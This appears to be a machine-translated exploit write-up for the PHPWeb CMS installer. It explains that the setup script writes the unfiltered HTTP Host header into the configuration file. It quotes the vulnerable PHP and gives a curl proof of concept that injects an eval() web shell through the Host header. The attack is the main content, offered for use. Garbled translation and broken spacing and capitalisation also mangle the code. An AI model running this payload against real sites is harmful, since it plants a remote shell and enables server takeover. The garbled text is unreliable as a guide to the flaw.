Phpweb finished website latest version (inject, upload, write shell)

Injection:
It's the flaw. Write executable code using the Setup file rebuild configuration file

Chicken Ribs 1: With destructive action very large re-write the profile database connection file
Chicken Ribs 2: A certain safety common sense of the webmaster will delete the install directory

Although the chicken, but also has advantages: not affected by MAGIC_QUOTES_GPC, webserver

Analysis:

$siteurl= "http://".$_server["Http_host"]. " /";//Not Filtered $filestr=fread(fopen($SysConfigFile, ' R '), 30000);$filestr=Str_replace(" ","",$filestr);$filestr=Str_replace("Defaultdbhost",$dbhost,$filestr);$filestr=Str_replace("Defaultdbname",$dbname,$filestr);$filestr=Str_replace("Defaultdbuser",$dbuser,$filestr);$filestr=Str_replace("Defaultdbpass",$dbpwd,$filestr);$filestr=Str_replace("Defaultslan", "ZH_CN",$filestr);$filestr=Str_replace("Defaulttablepre",$tablepre,$filestr);$filestr=Str_replace("Defaultsiteurl",$siteurl,$filestr); fwrite(fopen($ConFile, "W"),$filestr, 30000);

$_server["Http_host"] is the HTTP head in the HOST passed over the controllable, and not affected by magic_quotes_gpc ^ _ ^

Poc

Curl http://fuck.0day5.com/base/install/index.php--data "dbhost=localhost&dbname=phpweb& Dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username= "-- Header "Host:localhost\"; eval ($_request[a]); # "